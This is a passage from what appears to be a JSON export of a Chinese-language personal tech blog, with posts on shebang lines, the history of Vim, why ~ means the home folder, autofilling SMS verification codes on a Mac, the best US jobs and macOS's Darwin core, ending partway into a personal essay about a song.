echo $0 /bin/zsh 也就是说，如果我不写 shebang ，那么系统会用正在运行的 zsh 来执行脚本 。\n源码的解释是这样的：\n有趣的地方 有时候 shebang 行不必具有 shell 的可执行文件。它可以是任何东西。\n例如，我将#!/bin/zsh替换为#!/bin/cat，cat 命令将成为 shell 的解释器。\n❯ ./shell_script #!/bin/cat hello world 这意味着现在这个脚本将使用 cat 命令运行并显示脚本的内容。它将输出脚本所有内容。只要它指向一个可执行命令，它就会工作。如果你随便放一些不存的命令，它会抛出错误。\n当然这些逻辑也是 C 函数来实现的\n参考 https://blog.twentytwotabs.com/the-smallest-bash-program-in-the-universe/ ","date":"2023-11-09T14:11:09Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2023-11-09-wei-shen-me-shell-jiao-ben-de-kai-tou-yao-xie-bin-bash/cover.jpg","permalink":"/p/2023-11-09-wei-shen-me-shell-jiao-ben-de-kai-tou-yao-xie-bin-bash/","title":"为什么 shell 脚本的开头要写 #!/bin/bash"},{"content":"Vim 编辑器的创造者、维护者和终身领导者 Bram Moolenaar 于 2023 年 8 月 3 日因病去世，享年 62 岁\n为了纪念这位杰出的荷兰程序员，我们今天来聊一聊 Vim 的历史。\nVim 无处不在。它被很多人使用。同时 Vim 可能是世界上 “最难用的软件之一” ，但是又多次被程序员们评价为 最受欢迎的 代码编辑器。\nVim 预装在 Mac OS 上，并且在 Linux 领域拥有大量支持者。即使对于那些讨厌它的人来说，它也很熟悉，因为足够流行的命令行工具会默认将用户带入 Vim。\n有一些主要网站，包括 Facebook，当你按 j 键时会向下滚动，当你按 k 键时会向上滚动 — 这就是通过 Vim 的广泛传播而形成的文化。\n然而 Vim 也是一个谜。\n例如，与众所周知的由 Facebook 开发和维护的 React 不同，Vim 没有明显的赞助商。\n尽管它无处不在且很重要，但似乎没有任何类型的委员会或组织对 Vim 做出决策。\n你可能会花几分钟浏览 Vim 网站（https://www.vim.org），但无法更好地了解谁创建了 Vim 或为什么创建。\n如果你启动 Vim 时没有给它提供文件参数，那么你将看到 Vim 的启动消息，其中显示 Vim 是由“Bram Moolenaar 等人”开发的。但这并不能告诉你太多。布拉姆·穆勒纳尔 (Bram Moolenaar) 是谁？他的合作者又是谁？\n也许更重要的是，为什么退出 Vim 需要输入 :wq ？\n当然，这是一个“写入”操作，然后是一个“退出”操作，但这并不是一个特别直观的约定。谁决定复制文本应该被称为“yanking”？为什么 :%s/foo/bar/gc 是“查找和替换”的缩写？Vim 的特性似乎太随意了，不可能是虚构的，但它们是从哪里来的呢？\n正如通常的情况一样，答案始于古老——贝尔实验室。从某种意义上说，Vim 只是一个软件的最新版本——称之为“wq 文本编辑器”——自 Unix 时代开始以来一直在不断开发和改进。\nKen Thompson 编写了一个行编辑器 1966 年，贝尔实验室聘请了 Ken Thompson。汤普森刚刚在加州大学伯克利分校获得了电气工程和计算机科学硕士学位。在那里，他使用了一个名为 QED 的文本编辑器，该编辑器是在 1965 年至 1966 年间为伯克利分时系统编写的。\n汤普森到达贝尔实验室后做的第一件事就是为麻省理工学院兼容时间重写 QED - 共享系统。后来他为 Multics 项目编写了 QED 的另一个版本。在此过程中，他扩展了该程序，以便用户可以搜索文件中的行并使用正则表达式进行替换。\nMultics 项目与伯克利分时系统一样，旨在创建一个商业上可行的分时操作系统，该项目是麻省理工学院、通用电气和贝尔实验室之间的合作项目。AT\u0026amp;T 最终认为该项目毫无进展并退出。\n汤普森和贝尔实验室研究员丹尼斯·里奇现在无法访问分时系统，他们开始创建自己的版本，最终被称为 Unix。1969 年 8 月，当他的妻子和年幼的儿子去加利福尼亚度假时，Thompson 组装了新系统的基本组件，“为操作系统、shell、编辑器各分配了一周的时间”。\n编辑器将被称为 ed 。它基于 QED，但并不是精确的重新实现。Thompson 决定放弃某些 QED 功能。正则表达式支持被削减，以便只能理解相对简单的正则表达式。QED 允许用户通过打开多个缓冲区来一次编辑多个文件，但 ed 一次只能使用一个缓冲区。尽管 QED 可以执行包含命令的缓冲区，但 ed 不会执行此类操作。可能需要进行这些简化。Dennis Ritchie 表示，没有 QED 的高级正则表达式“并没有多大损失”\ned 现在是 POSIX 规范的一部分，因此如果你有兼容 POSIX 的系统，则可以将其安装在你的计算机上。它值得一试，因为许多 ed 命令如今已成为 Vim 的一部分。例如，为了将缓冲区写入磁盘，你必须使用 w 命令。为了退出编辑器，你必须使用 q 命令。这两个命令可以同时在同一行指定 - wq 。\n与 Vim 一样， ed 是一个模式编辑器；要从命令模式进入输入模式，你可以使用插入命令（ i ）、附加命令（ a ）或更改命令（ c ），取决于你如何转换文本。ed 还引入了用于查找和替换（或“替换”）文本的 s/foo/bar/g 语法。\n鉴于所有这些相似之处，你可能认为普通 Vim 用户使用 ed 不会遇到任何问题。但 ed 在另一个重要方面与 Vim 完全不同。ed 是一个真正的行编辑器。它是在电传打字机时代编写并广泛使用的。当 Ken Thompson 和 Dennis Ritchie 攻克 Unix 时，他们看起来像这样：\ned 不允许你在打开缓冲区的其他行之间编辑行，或移动光标，因为 ed 每次都必须重新打印整个文件对其进行了更改。1969 年的时候， ed 还没有“清除”屏幕内容的机制，因为屏幕只是一张纸，已经输出的所有内容都是用墨水输出的。必要时，你可以要求 ed 使用列表命令 ( l ) 为您打印出一系列行。因此，使用 ed 有点像试图用功率不足的手电筒在黑暗的房子里寻找出路。你一次只能看到这么多，所以你必须尽力记住所有东西在哪里。\n这是 ed 会话的示例。我添加了注释（在 # 字符之后）来解释每行的用途\n1[tt 09:49 ~]$ ed 2i # Enter input mode 3Hello world! 4 5Isn\u0026#39;t it a nice day? 6. # Finish input 71,2l # List lines 1 to 2 8Hello world!$ 9$ 102d # Delete line 2 11,l # List entire buffer 12Hello world!$ 13Isn\u0026#39;t it a nice day?$ 14s/nice/terrible/g # Substitute globally 15,l 16Hello world!$ 17Isn\u0026#39;t it a terrible day?$ 18w foo.txt # Write to foo.txt 1938 # (bytes written) 20q # Quit 21[sinclairtarget 10:50 ~]$ cat foo.txt 22Hello world! 23Isn\u0026#39;t it a terrible day? Bill Joy 编写了一个文本编辑器 ed 对于 Thompson 和 Ritchie 来说工作得足够好。但其他人发现它很难使用，并且它被认为是 Unix 对新手特别不友好的一个例子。\n1975 年，一位名叫 George Coulouris 的人在伦敦玛丽女王学院安装的 Unix 系统上开发了 ed 的改进版本。\n与 ed 不同，Coulouris 的程序允许用户在屏幕上编辑一行，逐个按键地浏览该行。Coulouris 称他的程序为 em ，或“凡人的编辑器”\n1976 年，Coulouris 带着 em 来到加州大学伯克利分校，并以客座教授的身份在加州大学伯克利分校度过了一个夏天。此时距离肯·汤普森离开伯克利去贝尔实验室工作整整十年了。在伯克利，Coulouris 遇到了 Bill Joy，他是一名从事 Berkeley Software Distribution (BSD) 工作的研究生。Coulouris 向 Joy 展示了 em ，Joy 从 Coulouris 的源代码开始构建了 ed 的改进版本，称为 ex ，用于“扩展 ed 的 1.1 版本与 1978 年 BSD Unix 的第一个版本捆绑在一起。ex 很大程度上与 ed 兼容，但它增加了两种模式：“open”模式，它启用了单行编辑，就像 em 一样，以及“视觉”模式，它接管整个屏幕并启用整个文件的实时编辑，就像我们今天习惯的那样。\n1979 年的第二个 BSD 版本，引入了一个名为 vi 的可执行文件，它的作用只不过是在可视模式下打开 ex 。\nex / vi （此后称为 vi ）建立了我们现在与 Vim 关联的大部分约定，这些约定尚未成为 ed 的一部分。Joy 使用的视频终端是 Lear Siegler ADM-3A，其键盘没有光标键。相反，箭头被绘制在 h 、 j 、 k 和 l 键上，这就是 Joy 使用这些键作为光标的原因 vi 中的移动。ADM-3A 键盘上的退出键也是今天我们可以找到 Tab 键的地方。\n命令前缀的:字符也来自 vi ，在常规模式下（即通过运行 ex 输入的模式）使用 : 作为提示。这解决了长期以来对 ed 的抱怨。在可视模式下，保存和退出现在需要输入经典的 :wq 。“Yanking”和“putting”、标记以及用于设置选项的 set 命令都是原始 vi 的一部分。我们今天在 Vim 中进行基本文本编辑过程中使用的功能主要是 vi 功能。\nvi 是除 ed 之外唯一与 BSD Unix 捆绑在一起的文本编辑器。当时，Emacs 可能要花费数百美元（这是在 GNU Emacs 之前），因此 vi 变得非常流行。但 vi 是 ed 的直接后代，这意味着如果没有 AT\u0026amp;T 源许可证，则无法修改源代码。这促使一些人创建 vi 的开源版本。STEVIE（VI 爱好者的 ST 编辑器）出现于 1987 年，Elvis 出现于 1990 年， nvi 出现于 1994 年。其中一些克隆添加了额外的功能，如语法突出显示和分割窗口。尤其是 Elvis，它的许多功能都被纳入了 Vim，因为许多 Elvis 用户都在推动将其纳入其中。\nBram Moolenaar 撰写 Vim “Vim” 现在缩写为“Vi Improve”，最初代表“Vi Imitation”。与许多其他 vi 克隆一样，Vim 最初是尝试在不可用的平台上复制 vi 。Bram Moolenaar 是一位荷兰软件工程师，在荷兰 Venlo 的一家复印机公司工作，他想要为他全新的 Amiga 2000 使用类似 vi 的东西。在 1988 年，Moolenaar 以现有的 STEVIE vi 克隆为起点，开始研究 Vim。\nMoolenaar 可以访问 STEVIE，因为 STEVIE 之前曾出现在名为 Fred Fish 磁盘的东西上。Fred Fish 是一位美国程序员，他每个月都会寄出一张软盘，其中包含精选的适用于 Amiga 平台的最佳开源软件。任何人都可以索取磁盘，只需支付邮费即可。Fred Fish 磁盘上发布了 STEVIE 的多个版本。Moolenaar 使用的版本已在 Fred Fish 磁盘 256 上发布。\nMoolenaar 喜欢 STEVIE，但很快注意到缺少许多 vi 命令。因此，对于 Vim 的第一个版本，Moolenaar 将 vi 兼容性作为他的首要任务。其他人编写了一系列 vi 宏，Moolenaar 能够让这些宏在 Vim 中运行。1991 年，Vim 首次在 Fred Fish 磁盘 591 上发布，名称为“Vi Imitation”。Moolenaar 添加了一些功能（包括多级撤消和针对编译器错误的“快速修复”模式），这意味着 Vim 已经超越了 vi 。但 Vim 一直是“Vi Imitation（模仿）”，直到 1993 年通过 FTP 发布 Vim 2.0。\nMoolenaar 在各种互联网合作者的偶尔帮助下，稳定地为 Vim 添加了功能。Vim 2.0 引入了对 wrap 选项和水平滚动长行文本的支持。Vim 3.0 添加了对分割窗口和缓冲区的支持，该功能受到 vi 克隆 nvi 的启发。Vim 现在还将每个缓冲区保存到交换文件中，以便编辑后的文本可以在崩溃时幸存下来。Vimscript 首次出现在 Vim 5.0 中，并支持语法突出显示。与此同时，Vim 的受欢迎程度与日俱增。它被移植到 MS-DOS、Windows、Mac，甚至 Unix，与原始的 vi 竞争。\n2006 年，Vim 被评选为最受 Linux Journal 读者欢迎的编辑器。如今，根据 Stack Overflow 的 2018 年开发者调查，Vim 是最流行的文本模式（即终端仿真器）编辑器，25.8% 的软件开发人员（以及 40% 的系统管理员/DevOps 人员）使用它。有一段时间，在 20 世纪 80 年代末和整个 90 年代，程序员发动了“编辑器战争”，使 Emacs 用户与 vi （最终是 Vim）用户对立。虽然 Emacs 当然仍然有一些追随者，但有些人认为编辑器之战已经结束，Vim 获胜了。2018 年 Stack Overflow 开发者调查表明这是事实；只有 4.1% 的受访者使用 Emacs。\nVim 是如何变得如此成功的？显然人们喜欢 Vim 提供的功能。但我认为，Vim 背后的悠久历史表明，它拥有的优势不仅仅是其功能集。Vim 的代码库可以追溯到 1988 年，当时 Moolenaar 开始研究它。“wq 文本编辑器”有几种不同的具体表达方式，但部分归功于 Bill Joy 和 Bram Moolenaar 对向后兼容性的不同寻常的关注，随着时间的推移，好的想法逐渐积累起来。从这个意义上说，“wq 文本编辑器”是运行时间最长、最成功的开源项目之一，得到了计算世界中一些最伟大思想家的贡献。我不认为“初创公司抛弃所有先例并创造颠覆性新软件”的开发方法一定是坏事，但 Vim 提醒我们，协作和增量方法也可以产生奇迹。\n","date":"2023-11-04T06:38:45Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2023-11-04-vim-cong-he-er-lai/cover.jpg","permalink":"/p/2023-11-04-vim-cong-he-er-lai/","title":"Vim 从何而来"},{"content":"\n无论你是在 Windows 10 上安装了 Linux 子系统还是开始使用 Linux 终端，您都需要学习各种命令简写方式\u0026hellip; 但没有一种是直观的。\n例如，波浪号\n~ 它代表你的主文件夹\n比如你想 切换到当前用户主目录中的 Documents 文件夹，就这样可以：\ncd ~/Documents 不用输入 当前用户主目录的路径+Documents，比如：\n/Users/xiaobox/Documents 当然，这是一个方便的快捷方式，但为什么要使用这个特定字符呢？\n不管你相信与否，这是因为 20 世纪 70 年代的键盘。\n这是 Lear Siegler ADM-3A 终端，于 1975 年首次发货。\n这是一个“哑终端”，意味着它本身不是计算机，而是允许你向计算机输入命令并显示计算机中的数据。ADM-3A 的售价仅为 995 美元，无论你相信与否，这在当时都是一个不错的价格，这意味着机构可以购买多个此类终端来连接到一台中央计算机。直到今天，现代的“终端模拟器”（例如 Linux 和 macOS 中使用的终端模拟器）仍在模仿此类系统的功能。\n这是一个具有巨大影响力的硬件；许多早期的软件开发都发生在它上面，这意味着键盘布局影响了一些设计选择。一探究竟：\n注意到什么了吗？这是更清晰的图像。\n看到右上角的键了吗？这就是 HOME 键，其作用类似于现代键盘上的 Home 键，在编辑文本时将光标移至左上角位置。它也是用于波浪号符号的键，这个关联就足够了。最终它代表了主文件夹。\n没错：Linux 和基于 UNIX 的系统使用四十多年前的特定键盘代表 Home\n这款键盘中还隐藏着其他细节。看到 H、J、K 和 L 键上的箭头了吗？按住 Control 并按这些键是在终端中移动光标的方式，这就是为什么这些相同的键用于在 vi 中移动光标。这些 vi 键盘快捷键反过来又启发了 Gmail、Twitter 甚至 Facebook 中的键盘快捷键。没错：甚至 Facebook 的键盘快捷键也受到了 1975 年首次销售的“哑终端”的启发。\n一种你从未听说过的设备影响了人们在四十多年后仍在使用的软件中使用的设计决策。历史是不是很有意思 ？\n","date":"2023-10-20T15:33:26Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2023-10-20-wei-shen-me-dai-biao-macos-he-linux-shang-de-zhu-wen-jian-ji/cover.jpg","permalink":"/p/2023-10-20-wei-shen-me-dai-biao-macos-he-linux-shang-de-zhu-wen-jian-ji/","title":"为什么 ~ 代表 macOS 和 Linux 上的主文件夹？"},{"content":" “\n提示：以下方法只适用于拥有 Mac电脑+iPhone手机的用户\n”\n短信验证码是我们在登录网站时经常会使用的一种方式\n如果你使用的是移动应用即 APP 那么通过验证码登录的一般情形是：\n打开 APP 登录页，输入手机号，点击 “获取验证码” 收到一条短信，打开短信，记住验证码内容，一般是6位左右的数字，然后手动录入到验证码输入框。或者像苹果 iOS 这样的系统可以自动将短信中的验证码在键盘区域提示出来。你只需要再点一下就可以了，很省事儿 点击 “登录” 结束。 虽然在 APP 上操作也要三、四步，不过整个过程还是比较流畅和自然的，尤其是在 iPhone 上。可能最麻烦的点就是在切换到短信的应用，靠脑子记住验证码再切换回 APP 这步了。\n然而相对于网页上的 web 应用，在 APP 上的操作体验已经算好的了。来看一下我们平常用电脑打开某网站然后通过验证码登录的情形是怎样的吧：\n打开浏览器，打开某网站并跳转到登录页，输入手机号， 点击 “获取验证码” 手机上收到一条短信，这时候会慌慌张张的找手机（因为验证码有有效期），然后打开短信，赶快记住验证码。 回到电脑上把刚才记住的验证码手动一个数字一个数字的录入到验证码输入框。有时候还记错了，或者录错了，再回到手机上看几遍。 点击 “登录” 结束。 针对这个流程，给我的体验有几点不爽：\n第一 两个设备来回切换，一会儿折腾手机，一会儿折腾电脑的，麻烦！ 第二 就跟让系统“拿捏” 了一样，在等待验证码的这段时间我这两个设备什么都干不了，生怕错过了有效期。慌张！ 第三 整个操作下来，时间较长，而且由于有设备切换，发生错误的可能性增加了，整个流程花费的时间比在 APP 上长， 低效！ 总结下来， 在手机上的操作还可以，在电脑上的操作我忍受不了，太不方便了！！！\n实际上，作为程序员的我，早已不受这种折磨了，因为我有至少两种办法来解决电脑上用短信验证码登录的痛苦。这里再次强调 需要 Mac 电脑+iPhone 手机，这是前提。\n方法一 苹果原生解决方案 如果你的设备都是苹果的，那么它其实是有原生的解决方案的，总结起来就是：\n“\n短信转发 + Safari浏览器自动回填\n”\n这个方法分两步，第一步是短信转发，即设置 iPhone 以在 Mac 上获取短信，达到的效果是：当你的 iPhone 手机上收到一条短信后， Mac 电脑上的 “信息” 应用也会同步收到，并在电脑上提示你。\n具体的设置也非常简单：\n在 iPhone 上，前往“设置”\u0026gt;“信息”。\n轻点“短信转发”。【注】如果没有看到“短信转发”，请确保在 iPhone 和 Mac 上通过相同 Apple ID 登录 iMessage 信息。\n在设备列表中打开你的 Mac。\n如果未使用双重认证，Mac 上会显示六位数字激活码；在 iPhone 上输入这个激活码，然后轻点“允许”。\n这样你就完成了第一步，当手机收到短信时，Mac 电脑上也能同步收到了。😁\n第二步 更简单了，没有任何设置，你只需要用 Safari 浏览器，打开你要登录的网站，然后当手机收到短信后，Safari 会把短信里的验证码自动填充到验证码输入框，无需任何操作。（当然实际过程是因为打开了短信转发，短信先转发到了 Mac 电脑上，才能被 Safari 浏览器获取）\n来看一下效果：\n已关注\nFollow\nReplay Share Like\nClose\n观看更多\n更多\n退出全屏\n切换到竖屏全屏**退出全屏\n小盒子的技术分享已关注\nShare Video\n，时长00:13\n0/0\n00:00/00:13\n切换到横屏模式\n继续播放\n进度条，百分之0\nPlay\n00:00\n/\n00:13\n00:13\n倍速\n全屏\n倍速播放中\n0.5倍 0.75倍 1.0倍 1.5倍 2.0倍\n超清 流畅\nYour browser does not support video tags\n继续观看\n如何用 Mac 电脑自动填充短信验证码\n观看更多\n转载\n,\n如何用 Mac 电脑自动填充短信验证码\n小盒子的技术分享已关注\nShare点赞Wow\nAdded to Top StoriesEnter comment\nVideo Details\n方法二 短信转发+开源软件\n我知道很多同学不喜欢用 Safari ，或者说有更喜欢和习惯使用的浏览器，比如 Chrome,在这种情况下我们就不能用苹果原生大法了，需要结合开源软件来实现之前的效果。也是分两步。第一步和方法一一样，需要把 “短信转发” 设置好，参考上文，这里就不赘述了。\n第二步我们需要有个软件能够实现将短信中的验证码解析出来，并自动填到相应的位置上。我找到一个名为 MacCopier 的应用，地址如下：https://github.com/DreamSaddle/MacCopier\n如果大家下载 MacCopier 有困难，可以点击文章底部的按钮关注此公众号，私信回复：“MacCopier” ,我会分享给大家。\n当然也有其他应用比如需要付费的 2fhey 不差钱的同学可以选择这个。（我差钱，所以我用开源免费的 MacCopier ）\nMacCopier 安装好后，需要为其设置 完全磁盘访问权限 步骤如下：\n打开 系统偏好设置 \u0026gt; 安全性与隐私\n左下角解锁设置后，找到 完全磁盘访问权限 选项，在右侧列表中找到 MacCopier 将其勾选上即可。\n您也可以勾选 登录时启动，这将会在下次登录系统时自动运行此应用。\n您也可以勾选 自动粘贴，这将会在提取出验证码后自动粘贴到系统当前光标处。自动粘贴功能需要您为 MacCopier开启辅助功能权限。\n可能有的同学会担心用这种第三方应用会不会有数据安全问题？\n应该担心，尤其是涉及敏感信息的应用大家应该有安全意识，不能为了方便不顾信息安全。所以我仔细地看过了 MacCopier 的源码（Rust写的），除了本地的操作外，没有任何网络连接，可以放心用，不会构成安全问题，就是个本机跑的小工具应用而已。\n最后我用 Chrome 浏览器 演示一下使用了 MacCoier后的效果。\n已关注\nFollow\nReplay Share Like\nClose\n观看更多\n更多\n退出全屏\n切换到竖屏全屏**退出全屏\n小盒子的技术分享已关注\nShare Video\n，时长00:14\n0/0\n00:00/00:14\n切换到横屏模式\n继续播放\n进度条，百分之0\nPlay\n00:00\n/\n00:14\n00:14\n倍速\n全屏\n倍速播放中\n0.5倍 0.75倍 1.0倍 1.5倍 2.0倍\n超清 流畅\nYour browser does not support video tags\n继续观看\n如何用 Mac 电脑自动填充短信验证码\n观看更多\n转载\n,\n如何用 Mac 电脑自动填充短信验证码\n小盒子的技术分享已关注\nShare点赞Wow\nAdded to Top StoriesEnter comment\nVideo Details\n可以看到与方法一的效果是一样的。\n总结 无论是使用方法一还是方法二，在 Mac 电脑上都可以实现：短信验证码自动接收+自动解析+自动回填操作\n再也不用花心力（尤其是工作忙的时候，记这破玩意只会更烦躁）记验证码了，也不用手忙脚乱地在两个设置间来回切换了。\n","date":"2023-10-15T09:41:59Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2023-10-15-ru-he-yong-mac-dian-nao-zi-dong-tian-chong-duan-xin-yan-zhen/cover.jpg","permalink":"/p/2023-10-15-ru-he-yong-mac-dian-nao-zi-dong-tian-chong-duan-xin-yan-zhen/","title":"如何用 Mac 电脑自动填充短信验证码"},{"content":"最近的就业形式大家懂的都懂，拿我所在的 IT 行业来说，由于经济下行，岗位稀缺，导致内卷更加严重，这是大家都清楚的，尤其北京今年的就业市场，感觉是往年最差的了，相比上海、杭州这些城市今年北京的 IT 就业形势更加严峻。\n虽然客观现实如此，但我想也不要绝望，尽自己最大努力，该干嘛干嘛，我们的美国同行也不容易，咱们来看一看美国的软件开发岗位情况：\n可以看到最近这段时间也在下行，确实不怎么样，但还没到最低谷。要知道 经济是有周期的 体验到这个周期的低谷，就代表未来可能越来越好了。\n有很多研发同行想着要换行，觉着这个行业红利期过去了，很多东西见顶了，自己的岁数也大了，这个行业对中年人不友好。这些问题在我国确实都多多少少存在，不过单就这个行业来说，相对的还是一个不错的行业。\n无论薪资待遇、性价比，排除那些特殊单位，在整个大的充分竞争的就业市场上还是很不错的。我说这个话可能同行没有感觉，但那些准备转行或者已经有行动的朋友一定有同感。别的不说，你去各招聘网站看看其他职业给多少薪资，区别非常大。同样的学历、年龄、付出的劳动（无论是脑力还是体力）它的性价比如何 ？\n我们来看一下美国统计的数据\n这是 2023年最新的职业和就业数据\n排名第一的是 软件开发 薪资中位数是：$120,730（每年） 失业率是：1.2% 岗位数：370,600\n排名第八的是 IT 经理\n排名第九的是 Web 开发\n前十名，有三个是跟软件研发相关的，可见 IT行业的工作还是不错的，这也是为什么很多人到国外要转码的原因。\n这是2023年最新的数据，无独有偶，2015年的一份数据表明，架构师 是美国认为当时最好的工作。\n借此数据我们来看一看美国最好的工作 TOP 10 都是什么吧。\nTop1 软件架构师 工资中位数：124,000美元 最高工资：169,000美元 10年就业增长率：23%\n就像建筑师设计房屋一样，软件架构师为新程序制定设计计划。这通常意味着领导一个由开发人员和工程师组成的团队，并确保所有部分组合在一起以构建功能齐全的软件。\n优点：新问题不断出现，新技术不断出现，让每一天都变得不同，并保持对专业人员的需求。软件架构师 Christopher Felpel 说：“我每周至少会收到一两次新机会的通知。” “那里有很多工作要做，这并不令我感到惊讶。”\nTop2 视频游戏设计师 工资中位数：79,900美元 最高工资：115,000美元 10年就业增长率：19%\n对于视频游戏设计师来说，这并不全是乐趣和游戏。就像电影导演一样，他们负责项目的整个创意愿景，并领导程序员、设计师和艺术家团队来实现愿景。\n优点：这个行业相对较新，因此仍然是一个非常创新的领域。“定义一种新的表达媒介的机会每个世纪都会出现一两次，你必须成为其中的一部分，”视频游戏设计师沃伦·斯佩克特说。\nTop3 土地管理者 工资中位数：103,000美元 最高工资：160,000美元 10年就业增长率：13%\n随着国家能源繁荣的展开，土地管理者需要在公司和拥有资源的人们之间谈判石油和天然气租赁。他们走遍乡村寻找愿意出售矿权的人，并为他们与石油公司牵线搭桥。尽管石油价格波动，但对石油行业及其行业前景的长期预测仍然强劲。\n优点：这份工作最棒的事情之一就是将项目进行到底，这通常会让普通人获得可观的报酬。\nTop4 专利代理人 工资中位数：126,000美元 最高工资：182,000美元 10年就业增长率：13%\n专利代理人审查发明并决定是否应为其申请专利，准备和提交专利申请，并在美国专利商标局代表发明人。\n优点：接触新发明意味着可以接触到很多伟大的想法。“如果某件事不新鲜，我就不需要知道，”波士顿地区的专利代理人丹·贝纳特 (Dan Beinart) 说。“我从来不需要两次参与同一件事。”\nTop5 医院管理员 工资中位数：114,000美元最高工资：207,000美元 10年就业增长率：23%\n医院管理人员与不同部门和工作人员协调，以保持医院顺利运转。他们协调医疗专业人员、患者和操作人员的工作，以创造高效的运作。\n优点：挑战每天都会出现，因此没有哪两天是相同的。“这是一个由不同事物组成的大网，归结为照顾病人的简单概念，” 医院管理员杰克·戈利奇 (Jake Golich) 说。\nTop6 持续改进经理 工资中位数：96,600美元 最高工资：130,000美元 10年就业增长率：12%\n持续改进经理确定提高公司效率的目标，然后教员工如何实现这些目标，并审查这些实践在文化中的嵌入程度。这一切都是为了确保公司继续顺利前进。\n优点：可实现的解决方案会在整个公司范围内产生巨大的影响，因此回报和影响力都是巨大的。雀巢饮用水公司的埃德·诺克 (Ed Noack) 表示：“最激励我的是，我每天都致力于帮助人们过上更好的生活。”\nTop7 临床护理专家 工资中位数：89,300美元 最高工资：130,000美元 10年就业增长率：19%\n这些高级实践注册护士充当护士的临床资源，并与工作人员密切合作，处理复杂或高风险的患者。大多数人在医院工作，评估当前的方案并帮助实施新政策。他们主要致力于改善患者护理，并且可以专注于肿瘤学或疼痛管理等特定护理领域。\n优点：制定最佳护理计划或创建新的全系统程序来改善护理是一项令人满意的工作福利。“你可以对许多患者的护理产生影响，工作人员会向你寻求支持和指导，”中枢神经系统医师乔安妮·菲利普斯 (JoAnne Phillips) 说。“没有什么比看到护士眼中闪烁的‘哦，现在我明白了’更好的了。”\nTop8 数据库开发人员 工资中位数：88,200美元 最高工资：126,000美元 10年就业增长率：23%\n数据库开发人员就像数据管理员。他们的工作是确保公司能够访问他们从客户那里收集的数据，并想出办法将所有数据组织成有意义的东西。企业利用这些信息来提高效率和盈利能力。\n优点：随着技术日新月异，有很多学习新事物的机会。“我喜欢我所做的事情，因为我基本上每天都面临着挑战，”数据库开发人员 Joanne Chan 说。“我现在做的90%的事情，三年前我都不知道。”\nTop9 信息保障分析师 工资中位数：96,400美元 最高工资：126,000美元 10年就业增长率：37%\n我们的个人信息——从电子邮件到我们存储在“云”上的信息——比以往任何时候都更加明显地可能被暴露。信息保障分析师试图防止这种情况发生。他们决定如何让需要信息的人轻松获取信息，同时防止信息落入坏人之手。\n优点：在隐私方面存在很多问题，因此这是一个 24/7 的问题。随着越来越多的公司考虑如何保持安全，需求也在不断增长。“对我来说，有趣的部分是解决一个没有正确答案的复杂问题，并努力解决它，”\nTop10 普拉提/瑜伽教练 工资中位数：62,400美元 最高工资：119,000美元 10年就业增长率：13%\n瑜伽教练在教学课程之间平衡时间，将身体和精神结合在一起，计划每节课的内容并宣传工作室。\n优点：对于许多瑜伽教练来说，能够改变一个人的一天或他们的生活方式，无论是身体上还是精神上，都是工作中最好的部分。瑜伽教练马克·尼尔森说：“对我来说，与人的联系是最好的部分，告诉他们生活中遇到挑战，现在他们在垫子上遇到挑战，让我们把他们聚集在一起。”\n","date":"2023-10-13T14:13:40Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2023-10-13-mei-guo-zui-hao-de-gong-zuo-top-10/cover.jpg","permalink":"/p/2023-10-13-mei-guo-zui-hao-de-gong-zuo-top-10/","title":"美国最好的工作 TOP 10"},{"content":"如果你是 Mac 用户和开源软件爱好者，你可能见过某些带有“Darwin”标签的应用程序。\n如果你是 Mac 用户和开源软件爱好者，你可能见过某些带有“Darwin”标签的应用程序。但为什么 macOS 版本的应用程序带有这个名称呢？\n因为 macOS 与 iOS 和 tvOS 一样，由一款名为 Darwin 的基于 BSD 的开源软件提供支持。与许多开源操作系统一样，Darwin 甚至有一个吉祥物：鸭嘴兽 Hexley。\n这不是什么噱头：苹果认真对待开源事情。你现在就可以在 opensource.apple.com 下载所有 Darwin 源代码。您会发现每个 macOS 版本都有不同的下载。\n正是由于这一传统，macOS 软件有时被贴上“Darwin”的标签，尤其是被开源爱好者所标记。\n等等，开源？这是否意味着我可以免费使用 macOS？\n嗯……基本上不行。虽然 Darwin 本身是开源的，但你在想象 macOS 时想到的大多数东西都不是开源的。例如，Aqua 用户界面和 Cocoa API 都是闭源的，没有这些东西，任何 macOS 软件都无法运行。\n因此，虽然你可以免费下载 Darwin 的源代码，并且如果你有合适的技能，你也可以编译它，但你永远无法让 macOS 软件运行它——讽刺的是，包括许多标有“darwin”的软件（除非你想花几年和/或几十年的时间对 macOS 的专有部分进行逆向工程）。Darwin 只是 macOS 其余部分构建的基础。\n但这并不意味着你不能在 Darwin 上运行任何东西。你可以相对轻松地运行 Darwin 的第三方版本，特别是 PureDarwin。这个志愿者构建的操作系统以 Darwin 作为核心，甚至可以在其上运行开源用户界面。看起来是这样的：\n","date":"2023-10-12T03:59:59Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2023-10-12-wei-shen-me-macos-ruan-jian-you-shi-bei-biao-ji-wei-darwin/cover.jpg","permalink":"/p/2023-10-12-wei-shen-me-macos-ruan-jian-you-shi-bei-biao-ji-wei-darwin/","title":"为什么 macOS 软件有时被标记为 “Darwin” ？"},{"content":"这首歌我喜欢很多年了，说来也怪，每次听它都能让我安静下来。\n那是多年前的一个早晨，我起得很早，很早来到公司，屋子里空荡荡的，可能我是第一个到的。\n脑子清醒得很，感觉好像有很长的时间可以 “肆意妄为”。\n很随机地打开豆瓣，点击音乐，很随机地点开这首歌。然后开始单曲循环，时间变得很慢。\n有一瞬间我甚至不记得那天要完成的工作是什么，想象自己是一个陪朋友喝了半夜的酒，坐船到对岸回家的人\u0026hellip;\u0026hellip;\n那应该是第一班船，船上人不算多，有个抱孩子的女人坐在对面，穿着格子上衣，黑色头发，时而低头哄孩子，时而看向船外的远方。\n她注意到我在她看，礼貌又有些不好意思地笑了笑，然后继续哄着孩子。\n我那个朋友酒量一般，今晚却特别 